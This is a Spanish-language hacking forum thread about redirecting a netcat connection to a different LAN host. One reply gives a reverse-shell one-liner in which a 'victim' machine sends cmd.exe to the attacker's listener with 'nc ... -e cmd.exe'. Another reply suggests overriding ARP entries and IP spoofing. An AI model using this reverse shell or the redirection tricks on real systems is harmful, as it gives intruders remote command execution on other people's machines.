Hola chicos

A ver si algun entendido logra explicarme como puedo hacer lo siguiente

Como puedo hacer para que:

"nc 192.168.0.1 100 -v"

se conecte a la ip "192.168.0.25" en la cual tengo un netcat a la escucha en el puerto 100

"nc -l -p 100 -v"

He intentado algunas cosas pero no me sale ninguna.

Que tipo de ataque puedo usar, o que herramienta puedo usar para esto.

Muchas gracias.

Con netcat puedes poner a la escucha un puerto en una maquina y pasarle una shell desde otra.

Servidor(tu): nc -l -p 2000 pones a la escucha un puerto en tu maquina

Cliente(victima): nc aqui.tu.ip.com 2000 -e cmd.exe realiza una conexion inversa hacia tu maquina y le pasa una cmd.exe a esta.

Un saludo

Bueno... se me ocurre algo.

Podrias modificar la tabla ARP del ordenador desde el que haces la conexión (nc 192.168.0.1 100 -v), y decirle que la IP 192.168.0.1 corresponde a la MAC del pc 192.168.0.25. Que seria:

arp -s 192.168.0.1 xx-xx-xx-xx-xx-xx, donde xx-xx-xx-xx-xx-xx corresponde a la MAC del pc *.0.25.

Nose si habria algún problema en cuanto a las cabezeras IP de los paquetes, porque aunque modifiques eso, la IP destino del paquete seguiria siendo la misma, y claro, cuando llegara al PC destino y no correspondiera con su IP... pues nose que ocurriria, quizás se descarten los paquetes.

Aunque eso se podria solucionar con un poco de IP spoofing... 

Pero... no se te ha ocurrido conectar directamente con el 25?? xD

Saludos!!

no has buscado muy bien entonces...
http://foro.elhacker.net/hacking_linuxunix/duda_ip_spoofing-t288956.0.html;msg1431199